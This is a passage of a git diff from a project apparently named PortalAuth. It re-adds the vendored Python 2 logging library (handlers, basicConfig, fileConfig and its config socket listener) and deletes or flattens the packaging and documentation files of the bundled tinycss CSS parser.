+ def addHandler(self, hdlr): + """ + Add the specified handler to this logger. + """ + if not (hdlr in self.handlers): + self.handlers.append(hdlr) + + def removeHandler(self, hdlr): + """ + Remove the specified handler from this logger. + """ + if hdlr in self.handlers: + #hdlr.close() + self.handlers.remove(hdlr) + + def callHandlers(self, record): + """ + Pass a record to all relevant handlers. + + Loop through all handlers for this logger and its parents in the + logger hierarchy. If no handler was found, output a one-off error + message to sys.stderr. Stop searching up the hierarchy whenever a + logger with the "propagate" attribute set to zero is found - that + will be the last logger whose handlers are called. + """ + c = self + found = 0 + while c: + for hdlr in c.handlers: + found = found + 1 + if record.levelno >= hdlr.level: + hdlr.handle(record) + if not c.propagate: + c = None #break out + else: + c = c.parent + if (found == 0) and not self.manager.emittedNoHandlerWarning: + sys.stderr.write("No handlers could be found for logger" + " \"%s\"\n" % self.name) + self.manager.emittedNoHandlerWarning = 1 + + def getEffectiveLevel(self): + """ + Get the effective level for this logger. + + Loop through this logger and its parents in the logger hierarchy, + looking for a non-zero logging level. Return the first one found. + """ + logger = self + while logger: + if logger.level: + return logger.level + logger = logger.parent + return NOTSET + + def isEnabledFor(self, level): + """ + Is this logger enabled for level 'level'? + """ + if self.manager.disable >= level: + return 0 + return level >= self.getEffectiveLevel() + +class RootLogger(Logger): + """ + A root logger is not that different to any other logger, except that + it must have a logging level and there is only one instance of it in + the hierarchy. + """ + def __init__(self, level): + """ + Initialize the logger with the name "root". + """ + Logger.__init__(self, "root", level) + +_loggerClass = Logger + +root = RootLogger(WARNING) +Logger.root = root +Logger.manager = Manager(Logger.root) + +#--------------------------------------------------------------------------- +# Configuration classes and functions +#--------------------------------------------------------------------------- + +BASIC_FORMAT = "%(levelname)s:%(name)s:%(message)s" + +def basicConfig(**kwargs): + """ + Do basic configuration for the logging system. + + This function does nothing if the root logger already has handlers + configured. It is a convenience method intended for use by simple scripts + to do one-shot configuration of the logging package. + + The default behaviour is to create a StreamHandler which writes to + sys.stderr, set a formatter using the BASIC_FORMAT format string, and + add the handler to the root logger. + + A number of optional keyword arguments may be specified, which can alter + the default behaviour. + + filename Specifies that a FileHandler be created, using the specified + filename, rather than a StreamHandler. + filemode Specifies the mode to open the file, if filename is specified + (if filemode is unspecified, it defaults to 'a'). + format Use the specified format string for the handler. + datefmt Use the specified date/time format. + level Set the root logger level to the specified level. + stream Use the specified stream to initialize the StreamHandler. Note + that this argument is incompatible with 'filename' - if both + are present, 'stream' is ignored. + + Note that you could specify a stream created using open(filename, mode) + rather than passing the filename and mode in. However, it should be + remembered that StreamHandler does not close its stream (since it may be + using sys.stdout or sys.stderr), whereas FileHandler closes its stream + when the handler is closed. + """ + if len(root.handlers) == 0: + filename = kwargs.get("filename") + if filename: + mode = kwargs.get("filemode", 'a') + hdlr = FileHandler(filename, mode) + else: + stream = kwargs.get("stream") + hdlr = StreamHandler(stream) + fs = kwargs.get("format", BASIC_FORMAT) + dfs = kwargs.get("datefmt", None) + fmt = Formatter(fs, dfs) + hdlr.setFormatter(fmt) + root.addHandler(hdlr) + level = kwargs.get("level") + if level: + root.setLevel(level) + +#--------------------------------------------------------------------------- +# Utility functions at module level. +# Basically delegate everything to the root logger. +#--------------------------------------------------------------------------- + +def getLogger(name=None): + """ + Return a logger with the specified name, creating it if necessary. + + If no name is specified, return the root logger. + """ + if name: + return Logger.manager.getLogger(name) + else: + return root + +#def getRootLogger(): +# """ +# Return the root logger. +# +# Note that getLogger('') now does the same thing, so this function is +# deprecated and may disappear in the future. +# """ +# return root + +def critical(msg, *args, **kwargs): + """ + Log a message with severity 'CRITICAL' on the root logger. + """ + if len(root.handlers) == 0: + basicConfig() + apply(root.critical, (msg,)+args, kwargs) + +fatal = critical + +def error(msg, *args, **kwargs): + """ + Log a message with severity 'ERROR' on the root logger. + """ + if len(root.handlers) == 0: + basicConfig() + apply(root.error, (msg,)+args, kwargs) + +def exception(msg, *args): + """ + Log a message with severity 'ERROR' on the root logger, + with exception information. + """ + apply(error, (msg,)+args, {'exc_info': 1}) + +def warning(msg, *args, **kwargs): + """ + Log a message with severity 'WARNING' on the root logger. + """ + if len(root.handlers) == 0: + basicConfig() + apply(root.warning, (msg,)+args, kwargs) + +warn = warning + +def info(msg, *args, **kwargs): + """ + Log a message with severity 'INFO' on the root logger. + """ + if len(root.handlers) == 0: + basicConfig() + apply(root.info, (msg,)+args, kwargs) + +def debug(msg, *args, **kwargs): + """ + Log a message with severity 'DEBUG' on the root logger. + """ + if len(root.handlers) == 0: + basicConfig() + apply(root.debug, (msg,)+args, kwargs) + +def log(level, msg, *args, **kwargs): + """ + Log 'msg % args' with the integer severity 'level' on the root logger. + """ + if len(root.handlers) == 0: + basicConfig() + apply(root.log, (level, msg)+args, kwargs) + +def disable(level): + """ + Disable all logging calls less severe than 'level'. + """ + root.manager.disable = level + +def shutdown(): + """ + Perform any cleanup actions in the logging system (e.g. flushing + buffers). + + Should be called at application exit. + """ + for h in _handlers.keys(): + #errors might occur, for example, if files are locked + #we just ignore them + try: + h.flush() + h.close() + except: + pass + +#Let's try and shutdown automatically on application exit... +try: + import atexit + atexit.register(shutdown) +except ImportError: # for Python versions < 2.0 + def exithook(status, old_exit=sys.exit): + try: + shutdown() + finally: + old_exit(status) + + sys.exit = exithook diff --git a/PortalAuth/includes/scripts/libs/logging/config.py b/PortalAuth/includes/scripts/libs/logging/config.py index f5c13be..b0da640 100755 --- a/PortalAuth/includes/scripts/libs/logging/config.py +++ b/PortalAuth/includes/scripts/libs/logging/config.py @@ -1,310 +1,310 @@ -# Copyright 2001-2005 by Vinay Sajip. All Rights Reserved. -# -# Permission to use, copy, modify, and distribute this software and its -# documentation for any purpose and without fee is hereby granted, -# provided that the above copyright notice appear in all copies and that -# both that copyright notice and this permission notice appear in -# supporting documentation, and that the name of Vinay Sajip -# not be used in advertising or publicity pertaining to distribution -# of the software without specific, written prior permission. -# VINAY SAJIP DISCLAIMS ALL WARRANTIES WITH REGARD TO THIS SOFTWARE, INCLUDING -# ALL IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL -# VINAY SAJIP BE LIABLE FOR ANY SPECIAL, INDIRECT OR CONSEQUENTIAL DAMAGES OR -# ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER -# IN AN ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT -# OF OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE. - -""" -Configuration functions for the logging package for Python. The core package -is based on PEP 282 and comments thereto in comp.lang.python, and influenced -by Apache's log4j system. - -Should work under Python versions >= 1.5.2, except that source line -information is not available unless 'sys._getframe()' is. - -Copyright (C) 2001-2004 Vinay Sajip. All Rights Reserved. - -To use, simply 'import logging' and log away! -""" - -import sys, logging, logging.handlers, string, socket, struct, os - -try: - import thread - import threading -except ImportError: - thread = None - -from SocketServer import ThreadingTCPServer, StreamRequestHandler - - -DEFAULT_LOGGING_CONFIG_PORT = 9030 - -if sys.platform == "win32": - RESET_ERROR = 10054 #WSAECONNRESET -else: - RESET_ERROR = 104 #ECONNRESET - -# -# The following code implements a socket listener for on-the-fly -# reconfiguration of logging. -# -# _listener holds the server object doing the listening -_listener = None - -def fileConfig(fname, defaults=None): - """ - Read the logging configuration from a ConfigParser-format file. - - This can be called several times from an application, allowing an end user - the ability to select from various pre-canned configurations (if the - developer provides a mechanism to present the choices and load the chosen - configuration). - In versions of ConfigParser which have the readfp method [typically - shipped in 2.x versions of Python], you can pass in a file-like object - rather than a filename, in which case the file-like object will be read - using readfp. - """ - import ConfigParser - - cp = ConfigParser.ConfigParser(defaults) - if hasattr(cp, 'readfp') and hasattr(fname, 'readline'): - cp.readfp(fname) - else: - cp.read(fname) - #first, do the formatters... - flist = cp.get("formatters", "keys") - if len(flist): - flist = string.split(flist, ",") - formatters = {} - for form in flist: - sectname = "formatter_%s" % form - opts = cp.options(sectname) - if "format" in opts: - fs = cp.get(sectname, "format", 1) - else: - fs = None - if "datefmt" in opts: - dfs = cp.get(sectname, "datefmt", 1) - else: - dfs = None - f = logging.Formatter(fs, dfs) - formatters[form] = f - #next, do the handlers... - #critical section... - logging._acquireLock() - try: - try: - #first, lose the existing handlers... - logging._handlers.clear() - #now set up the new ones... - hlist = cp.get("handlers", "keys") - if len(hlist): - hlist = string.split(hlist, ",") - handlers = {} - fixups = [] #for inter-handler references - for hand in hlist: - try: - sectname = "handler_%s" % hand - klass = cp.get(sectname, "class") - opts = cp.options(sectname) - if "formatter" in opts: - fmt = cp.get(sectname, "formatter") - else: - fmt = "" - klass = eval(klass, vars(logging)) - args = cp.get(sectname, "args") - args = eval(args, vars(logging)) - h = apply(klass, args) - if "level" in opts: - level = cp.get(sectname, "level") - h.setLevel(logging._levelNames[level]) - if len(fmt): - h.setFormatter(formatters[fmt]) - #temporary hack for FileHandler and MemoryHandler. - if klass == logging.handlers.MemoryHandler: - if "target" in opts: - target = cp.get(sectname,"target") - else: - target = "" - if len(target): #the target handler may not be loaded yet, so keep for later... - fixups.append((h, target)) - handlers[hand] = h - except: #if an error occurs when instantiating a handler, too bad - pass #this could happen e.g. because of lack of privileges - #now all handlers are loaded, fixup inter-handler references... - for fixup in fixups: - h = fixup[0] - t = fixup[1] - h.setTarget(handlers[t]) - #at last, the loggers...first the root... - llist = cp.get("loggers", "keys") - llist = string.split(llist, ",") - llist.remove("root") - sectname = "logger_root" - root = logging.root - log = root - opts = cp.options(sectname) - if "level" in opts: - level = cp.get(sectname, "level") - log.setLevel(logging._levelNames[level]) - for h in root.handlers[:]: - root.removeHandler(h) - hlist = cp.get(sectname, "handlers") - if len(hlist): - hlist = string.split(hlist, ",") - for hand in hlist: - log.addHandler(handlers[hand]) - #and now the others... - #we don't want to lose the existing loggers, - #since other threads may have pointers to them. - #existing is set to contain all existing loggers, - #and as we go through the new configuration we - #remove any which are configured. At the end, - #what's left in existing is the set of loggers - #which were in the previous configuration but - #which are not in the new configuration. - existing = root.manager.loggerDict.keys() - #now set up the new ones... - for log in llist: - sectname = "logger_%s" % log - qn = cp.get(sectname, "qualname") - opts = cp.options(sectname) - if "propagate" in opts: - propagate = cp.getint(sectname, "propagate") - else: - propagate = 1 - logger = logging.getLogger(qn) - if qn in existing: - existing.remove(qn) - if "level" in opts: - level = cp.get(sectname, "level") - logger.setLevel(logging._levelNames[level]) - for h in logger.handlers[:]: - logger.removeHandler(h) - logger.propagate = propagate - logger.disabled = 0 - hlist = cp.get(sectname, "handlers") - if len(hlist): - hlist = string.split(hlist, ",") - for hand in hlist: - logger.addHandler(handlers[hand]) - #Disable any old loggers. There's no point deleting - #them as other threads may continue to hold references - #and by disabling them, you stop them doing any logging. - for log in existing: - root.manager.loggerDict[log].disabled = 1 - except: - import traceback - ei = sys.exc_info() - traceback.print_exception(ei[0], ei[1], ei[2], None, sys.stderr) - del ei - finally: - logging._releaseLock() - -def listen(port=DEFAULT_LOGGING_CONFIG_PORT): - """ - Start up a socket server on the specified port, and listen for new - configurations. - - These will be sent as a file suitable for processing by fileConfig(). - Returns a Thread object on which you can call start() to start the server, - and which you can join() when appropriate. To stop the server, call - stopListening(). - """ - if not thread: - raise NotImplementedError, "listen() needs threading to work" - - class ConfigStreamHandler(StreamRequestHandler): - """ - Handler for a logging configuration request. - - It expects a completely new logging configuration and uses fileConfig - to install it. - """ - def handle(self): - """ - Handle a request. - - Each request is expected to be a 4-byte length, - followed by the config file. Uses fileConfig() to do the - grunt work. - """ - import tempfile - try: - conn = self.connection - chunk = conn.recv(4) - if len(chunk) == 4: - slen = struct.unpack(">L", chunk)[0] - chunk = self.connection.recv(slen) - while len(chunk) < slen: - chunk = chunk + conn.recv(slen - len(chunk)) - #Apply new configuration. We'd like to be able to - #create a StringIO and pass that in, but unfortunately - #1.5.2 ConfigParser does not support reading file - #objects, only actual files. So we create a temporary - #file and remove it later. - file = tempfile.mktemp(".ini") - f = open(file, "w") - f.write(chunk) - f.close() - fileConfig(file) - os.remove(file) - except socket.error, e: - if type(e.args) != types.TupleType: - raise - else: - errcode = e.args[0] - if errcode != RESET_ERROR: - raise - - class ConfigSocketReceiver(ThreadingTCPServer): - """ - A simple TCP socket-based logging config receiver. - """ - - allow_reuse_address = 1 - - def __init__(self, host='localhost', port=DEFAULT_LOGGING_CONFIG_PORT, - handler=None): - ThreadingTCPServer.__init__(self, (host, port), handler) - logging._acquireLock() - self.abort = 0 - logging._releaseLock() - self.timeout = 1 - - def serve_until_stopped(self): - import select - abort = 0 - while not abort: - rd, wr, ex = select.select([self.socket.fileno()], - [], [], - self.timeout) - if rd: - self.handle_request() - logging._acquireLock() - abort = self.abort - logging._releaseLock() - - def serve(rcvr, hdlr, port): - server = rcvr(port=port, handler=hdlr) - global _listener - logging._acquireLock() - _listener = server - logging._releaseLock() - server.serve_until_stopped() - - return threading.Thread(target=serve, - args=(ConfigSocketReceiver, - ConfigStreamHandler, port)) - -def stopListening(): - """ - Stop the listening server which was created with a call to listen(). - """ - global _listener - if _listener: - logging._acquireLock() - _listener.abort = 1 - _listener = None - logging._releaseLock() +# Copyright 2001-2005 by Vinay Sajip. All Rights Reserved. +# +# Permission to use, copy, modify, and distribute this software and its +# documentation for any purpose and without fee is hereby granted, +# provided that the above copyright notice appear in all copies and that +# both that copyright notice and this permission notice appear in +# supporting documentation, and that the name of Vinay Sajip +# not be used in advertising or publicity pertaining to distribution +# of the software without specific, written prior permission. +# VINAY SAJIP DISCLAIMS ALL WARRANTIES WITH REGARD TO THIS SOFTWARE, INCLUDING +# ALL IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL +# VINAY SAJIP BE LIABLE FOR ANY SPECIAL, INDIRECT OR CONSEQUENTIAL DAMAGES OR +# ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER +# IN AN ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT +# OF OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE. + +""" +Configuration functions for the logging package for Python. The core package +is based on PEP 282 and comments thereto in comp.lang.python, and influenced +by Apache's log4j system. + +Should work under Python versions >= 1.5.2, except that source line +information is not available unless 'sys._getframe()' is. + +Copyright (C) 2001-2004 Vinay Sajip. All Rights Reserved. + +To use, simply 'import logging' and log away! +""" + +import sys, logging, logging.handlers, string, socket, struct, os + +try: + import thread + import threading +except ImportError: + thread = None + +from SocketServer import ThreadingTCPServer, StreamRequestHandler + + +DEFAULT_LOGGING_CONFIG_PORT = 9030 + +if sys.platform == "win32": + RESET_ERROR = 10054 #WSAECONNRESET +else: + RESET_ERROR = 104 #ECONNRESET + +# +# The following code implements a socket listener for on-the-fly +# reconfiguration of logging. +# +# _listener holds the server object doing the listening +_listener = None + +def fileConfig(fname, defaults=None): + """ + Read the logging configuration from a ConfigParser-format file. + + This can be called several times from an application, allowing an end user + the ability to select from various pre-canned configurations (if the + developer provides a mechanism to present the choices and load the chosen + configuration). + In versions of ConfigParser which have the readfp method [typically + shipped in 2.x versions of Python], you can pass in a file-like object + rather than a filename, in which case the file-like object will be read + using readfp. + """ + import ConfigParser + + cp = ConfigParser.ConfigParser(defaults) + if hasattr(cp, 'readfp') and hasattr(fname, 'readline'): + cp.readfp(fname) + else: + cp.read(fname) + #first, do the formatters... + flist = cp.get("formatters", "keys") + if len(flist): + flist = string.split(flist, ",") + formatters = {} + for form in flist: + sectname = "formatter_%s" % form + opts = cp.options(sectname) + if "format" in opts: + fs = cp.get(sectname, "format", 1) + else: + fs = None + if "datefmt" in opts: + dfs = cp.get(sectname, "datefmt", 1) + else: + dfs = None + f = logging.Formatter(fs, dfs) + formatters[form] = f + #next, do the handlers... + #critical section... + logging._acquireLock() + try: + try: + #first, lose the existing handlers... + logging._handlers.clear() + #now set up the new ones... + hlist = cp.get("handlers", "keys") + if len(hlist): + hlist = string.split(hlist, ",") + handlers = {} + fixups = [] #for inter-handler references + for hand in hlist: + try: + sectname = "handler_%s" % hand + klass = cp.get(sectname, "class") + opts = cp.options(sectname) + if "formatter" in opts: + fmt = cp.get(sectname, "formatter") + else: + fmt = "" + klass = eval(klass, vars(logging)) + args = cp.get(sectname, "args") + args = eval(args, vars(logging)) + h = apply(klass, args) + if "level" in opts: + level = cp.get(sectname, "level") + h.setLevel(logging._levelNames[level]) + if len(fmt): + h.setFormatter(formatters[fmt]) + #temporary hack for FileHandler and MemoryHandler. + if klass == logging.handlers.MemoryHandler: + if "target" in opts: + target = cp.get(sectname,"target") + else: + target = "" + if len(target): #the target handler may not be loaded yet, so keep for later... + fixups.append((h, target)) + handlers[hand] = h + except: #if an error occurs when instantiating a handler, too bad + pass #this could happen e.g. because of lack of privileges + #now all handlers are loaded, fixup inter-handler references... + for fixup in fixups: + h = fixup[0] + t = fixup[1] + h.setTarget(handlers[t]) + #at last, the loggers...first the root... + llist = cp.get("loggers", "keys") + llist = string.split(llist, ",") + llist.remove("root") + sectname = "logger_root" + root = logging.root + log = root + opts = cp.options(sectname) + if "level" in opts: + level = cp.get(sectname, "level") + log.setLevel(logging._levelNames[level]) + for h in root.handlers[:]: + root.removeHandler(h) + hlist = cp.get(sectname, "handlers") + if len(hlist): + hlist = string.split(hlist, ",") + for hand in hlist: + log.addHandler(handlers[hand]) + #and now the others... + #we don't want to lose the existing loggers, + #since other threads may have pointers to them. + #existing is set to contain all existing loggers, + #and as we go through the new configuration we + #remove any which are configured. At the end, + #what's left in existing is the set of loggers + #which were in the previous configuration but + #which are not in the new configuration. + existing = root.manager.loggerDict.keys() + #now set up the new ones... + for log in llist: + sectname = "logger_%s" % log + qn = cp.get(sectname, "qualname") + opts = cp.options(sectname) + if "propagate" in opts: + propagate = cp.getint(sectname, "propagate") + else: + propagate = 1 + logger = logging.getLogger(qn) + if qn in existing: + existing.remove(qn) + if "level" in opts: + level = cp.get(sectname, "level") + logger.setLevel(logging._levelNames[level]) + for h in logger.handlers[:]: + logger.removeHandler(h) + logger.propagate = propagate + logger.disabled = 0 + hlist = cp.get(sectname, "handlers") + if len(hlist): + hlist = string.split(hlist, ",") + for hand in hlist: + logger.addHandler(handlers[hand]) + #Disable any old loggers. There's no point deleting + #them as other threads may continue to hold references + #and by disabling them, you stop them doing any logging. + for log in existing: + root.manager.loggerDict[log].disabled = 1 + except: + import traceback + ei = sys.exc_info() + traceback.print_exception(ei[0], ei[1], ei[2], None, sys.stderr) + del ei + finally: + logging._releaseLock() + +def listen(port=DEFAULT_LOGGING_CONFIG_PORT): + """ + Start up a socket server on the specified port, and listen for new + configurations. + + These will be sent as a file suitable for processing by fileConfig(). + Returns a Thread object on which you can call start() to start the server, + and which you can join() when appropriate. To stop the server, call + stopListening(). + """ + if not thread: + raise NotImplementedError, "listen() needs threading to work" + + class ConfigStreamHandler(StreamRequestHandler): + """ + Handler for a logging configuration request. + + It expects a completely new logging configuration and uses fileConfig + to install it. + """ + def handle(self): + """ + Handle a request. + + Each request is expected to be a 4-byte length, + followed by the config file. Uses fileConfig() to do the + grunt work. + """ + import tempfile + try: + conn = self.connection + chunk = conn.recv(4) + if len(chunk) == 4: + slen = struct.unpack(">L", chunk)[0] + chunk = self.connection.recv(slen) + while len(chunk) < slen: + chunk = chunk + conn.recv(slen - len(chunk)) + #Apply new configuration. We'd like to be able to + #create a StringIO and pass that in, but unfortunately + #1.5.2 ConfigParser does not support reading file + #objects, only actual files. So we create a temporary + #file and remove it later. + file = tempfile.mktemp(".ini") + f = open(file, "w") + f.write(chunk) + f.close() + fileConfig(file) + os.remove(file) + except socket.error, e: + if type(e.args) != types.TupleType: + raise + else: + errcode = e.args[0] + if errcode != RESET_ERROR: + raise + + class ConfigSocketReceiver(ThreadingTCPServer): + """ + A simple TCP socket-based logging config receiver. + """ + + allow_reuse_address = 1 + + def __init__(self, host='localhost', port=DEFAULT_LOGGING_CONFIG_PORT, + handler=None): + ThreadingTCPServer.__init__(self, (host, port), handler) + logging._acquireLock() + self.abort = 0 + logging._releaseLock() + self.timeout = 1 + + def serve_until_stopped(self): + import select + abort = 0 + while not abort: + rd, wr, ex = select.select([self.socket.fileno()], + [], [], + self.timeout) + if rd: + self.handle_request() + logging._acquireLock() + abort = self.abort + logging._releaseLock() + + def serve(rcvr, hdlr, port): + server = rcvr(port=port, handler=hdlr) + global _listener + logging._acquireLock() + _listener = server + logging._releaseLock() + server.serve_until_stopped() + + return threading.Thread(target=serve, + args=(ConfigSocketReceiver, + ConfigStreamHandler, port)) + +def stopListening(): + """ + Stop the listening server which was created with a call to listen(). + """ + global _listener + if _listener: + logging._acquireLock() + _listener.abort = 1 + _listener = None + logging._releaseLock() diff --git a/PortalAuth/includes/scripts/libs/tinycss/.coveragerc b/PortalAuth/includes/scripts/libs/tinycss/.coveragerc deleted file mode 100644 index a79ad05..0000000 --- a/PortalAuth/includes/scripts/libs/tinycss/.coveragerc +++ /dev/null @@ -1,10 +0,0 @@ -[run] -branch = True - -[report] -exclude_lines = - pragma: no cover - def __repr__ - except ImportError -omit = - tinycss/tests/speed.py diff --git a/PortalAuth/includes/scripts/libs/tinycss/.gitignore b/PortalAuth/includes/scripts/libs/tinycss/.gitignore deleted file mode 100644 index d9285a1..0000000 --- a/PortalAuth/includes/scripts/libs/tinycss/.gitignore +++ /dev/null @@ -1,12 +0,0 @@ -*.pyc -*.c -*.so -*.egg-info -/.coverage -/htmlcov -/build -/dist -/.tox -/MANIFEST -/docs/_build -/env diff --git a/PortalAuth/includes/scripts/libs/tinycss/.travis.yml b/PortalAuth/includes/scripts/libs/tinycss/.travis.yml deleted file mode 100644 index 618318d..0000000 --- a/PortalAuth/includes/scripts/libs/tinycss/.travis.yml +++ /dev/null @@ -1,16 +0,0 @@ -language: python - -python: - - "2.7" - - "3.3" - - "3.4" - - "3.5" - - "pypy" - - "pypy3" - -install: - - pip install Cython - - pip install --upgrade -e .[test] - -script: - - python setup.py test diff --git a/PortalAuth/includes/scripts/libs/tinycss/CHANGES b/PortalAuth/includes/scripts/libs/tinycss/CHANGES deleted file mode 100644 index 27b8cf7..0000000 --- a/PortalAuth/includes/scripts/libs/tinycss/CHANGES +++ /dev/null @@ -1,53 +0,0 @@ -tinycss changelog -================= - - -Version 0.4 ------------ - -Released on 2016-09-23. - -* Add an __eq__ operator to Token object. -* Support Fonts 3. - - - -Version 0.3 ------------ - -Released on 2012-09-18. - -* Fix a bug when parsing \5c (an escaped antislash.) - - - -Version 0.2 ------------ - -Released on 2012-04-27. - -**Breaking changes:** - -* Remove the ``selectors3`` module. The functionality has moved to the - `cssselect `_ project. -* Simplify the API for :func:`~tinycss.make_parser`. - - -Version 0.1.1 -------------- - -Released on 2012-04-06. - -Bug fixes: - -* Error handling on exepected end of stylesheet in an at-rule head -* Fix the installation on ASCII-only locales - - -Version 0.1 ------------ - -Released on 2012-04-05. - -First release. Parser support for CSS 2.1, Seloctors 3, Color 3 and -Paged Media 3. diff --git a/PortalAuth/includes/scripts/libs/tinycss/LICENSE b/PortalAuth/includes/scripts/libs/tinycss/LICENSE deleted file mode 100644 index 52d60c5..0000000 --- a/PortalAuth/includes/scripts/libs/tinycss/LICENSE +++ /dev/null @@ -1,31 +0,0 @@ -Copyright (c) 2012 by Simon Sapin. - -Some rights reserved. - -Redistribution and use in source and binary forms, with or without -modification, are permitted provided that the following conditions are -met: - - * Redistributions of source code must retain the above copyright - notice, this list of conditions and the following disclaimer. - - * Redistributions in binary form must reproduce the above - copyright notice, this list of conditions and the following - disclaimer in the documentation and/or other materials provided - with the distribution. - - * The names of the contributors may not be used to endorse or - promote products derived from this software without specific - prior written permission. - -THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -"AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. diff --git a/PortalAuth/includes/scripts/libs/tinycss/MANIFEST.in b/PortalAuth/includes/scripts/libs/tinycss/MANIFEST.in deleted file mode 100644 index 4847068..0000000 --- a/PortalAuth/includes/scripts/libs/tinycss/MANIFEST.in +++ /dev/null @@ -1,3 +0,0 @@ -include README.rst CHANGES LICENSE tox.ini .coveragerc tinycss/speedups.c -recursive-include docs * -prune docs/_build diff --git a/PortalAuth/includes/scripts/libs/tinycss/PKG-INFO b/PortalAuth/includes/scripts/libs/tinycss/PKG-INFO deleted file mode 100644 index 710dc9c..0000000 --- a/PortalAuth/includes/scripts/libs/tinycss/PKG-INFO +++ /dev/null @@ -1,47 +0,0 @@ -Metadata-Version: 1.1 -Name: tinycss -Version: 0.4 -Summary: tinycss is a complete yet simple CSS parser for Python. -Home-page: http://tinycss.readthedocs.io/ -Author: Simon Sapin -Author-email: simon.sapin@exyr.org -License: BSD -Description: tinycss: CSS parser for Python - ============================== - - *tinycss* is a complete yet simple CSS parser for Python. It supports the full - syntax and error handling for CSS 2.1 as well as some CSS 3 modules: - - * CSS Color 3 - * CSS Fonts 3 - * CSS Paged Media 3 - - It is designed to be easy to extend for new CSS modules and syntax, - and integrates well with cssselect_ for Selectors 3 support. - - Quick facts: - - * Free software: BSD licensed - * Compatible with Python 2.7 and 3.x - * Latest documentation `on python.org`_ - * Source, issues and pull requests `on Github`_ - * Releases `on PyPI`_ - * Install with ``pip install tinycss`` - - .. _cssselect: http://packages.python.org/cssselect/ - .. _on python.org: http://packages.python.org/tinycss/ - .. _on Github: https://github.com/SimonSapin/tinycss/ - .. _on PyPI: http://pypi.python.org/pypi/tinycss - -Platform: UNKNOWN -Classifier: Development Status :: 4 - Beta -Classifier: Intended Audience :: Developers -Classifier: License :: OSI Approved :: BSD License -Classifier: Programming Language :: Python :: 2 -Classifier: Programming Language :: Python :: 2.7 -Classifier: Programming Language :: Python :: 3 -Classifier: Programming Language :: Python :: 3.3 -Classifier: Programming Language :: Python :: 3.4 -Classifier: Programming Language :: Python :: 3.5 -Classifier: Programming Language :: Python :: Implementation :: CPython -Classifier: Programming Language :: Python :: Implementation :: PyPy diff --git a/PortalAuth/includes/scripts/libs/tinycss/README.rst b/PortalAuth/includes/scripts/libs/tinycss/README.rst deleted file mode 100644 index 9f1879b..0000000 --- a/PortalAuth/includes/scripts/libs/tinycss/README.rst +++ /dev/null @@ -1,26 +0,0 @@ -tinycss: CSS parser for Python -============================== - -*tinycss* is a complete yet simple CSS parser for Python. It supports the full -syntax and error handling for CSS 2.1 as well as some CSS 3 modules: - -* CSS Color 3 -* CSS Fonts 3 -* CSS Paged Media 3 - -It is designed to be easy to extend for new CSS modules and syntax, -and integrates well with cssselect_ for Selectors 3 support. - -Quick facts: - -* Free software: BSD licensed -* Compatible with Python 2.7 and 3.x -* Latest documentation `on python.org`_ -* Source, issues and pull requests `on Github`_ -* Releases `on PyPI`_ -* Install with ``pip install tinycss`` - -.. _cssselect: http://packages.python.org/cssselect/ -.. _on python.org: http://packages.python.org/tinycss/ -.. _on Github: https://github.com/SimonSapin/tinycss/ -.. _on PyPI: http://pypi.python.org/pypi/tinycss diff --git a/PortalAuth/includes/scripts/libs/tinycss/tinycss/__init__.py b/PortalAuth/includes/scripts/libs/tinycss/__init__.py similarity index 100% rename from PortalAuth/includes/scripts/libs/tinycss/tinycss/__init__.py rename to PortalAuth/includes/scripts/libs/tinycss/__init__.py diff --git a/PortalAuth/includes/scripts/libs/tinycss/tinycss/color3.py b/PortalAuth/includes/scripts/libs/tinycss/color3.py similarity index 100% rename from PortalAuth/includes/scripts/libs/tinycss/tinycss/color3.py rename to PortalAuth/includes/scripts/libs/tinycss/color3.py diff --git a/PortalAuth/includes/scripts/libs/tinycss/tinycss/css21.py b/PortalAuth/includes/scripts/libs/tinycss/css21.py similarity index 100% rename from PortalAuth/includes/scripts/libs/tinycss/tinycss/css21.py rename to PortalAuth/includes/scripts/libs/tinycss/css21.py diff --git a/PortalAuth/includes/scripts/libs/tinycss/tinycss/decoding.py b/PortalAuth/includes/scripts/libs/tinycss/decoding.py similarity index 100% rename from PortalAuth/includes/scripts/libs/tinycss/tinycss/decoding.py rename to PortalAuth/includes/scripts/libs/tinycss/decoding.py diff --git a/PortalAuth/includes/scripts/libs/tinycss/docs/_static/custom.css b/PortalAuth/includes/scripts/libs/tinycss/docs/_static/custom.css deleted file mode 100644 index ea5c271..0000000 --- a/PortalAuth/includes/scripts/libs/tinycss/docs/_static/custom.css +++ /dev/null @@ -1,24 +0,0 @@ -div.body { - text-align: left; -} -div.document p, div.document ul { - margin-top: 0; - margin-bottom: 1em; -} -div.document ul ul { - margin-top: 0; - margin-bottom: .5em; -} -.field-name { - padding-right: .5em; -} -table.field-list p, table.field-list ul { - margin-bottom: .5em; -} -table { - border-collapse: collapse; - margin-bottom: 1em; -} -table.docutils td, table.docutils th { - padding: .2em .5em; -} diff --git a/PortalAuth/includes/scripts/libs/tinycss/docs/_templates/layout.html 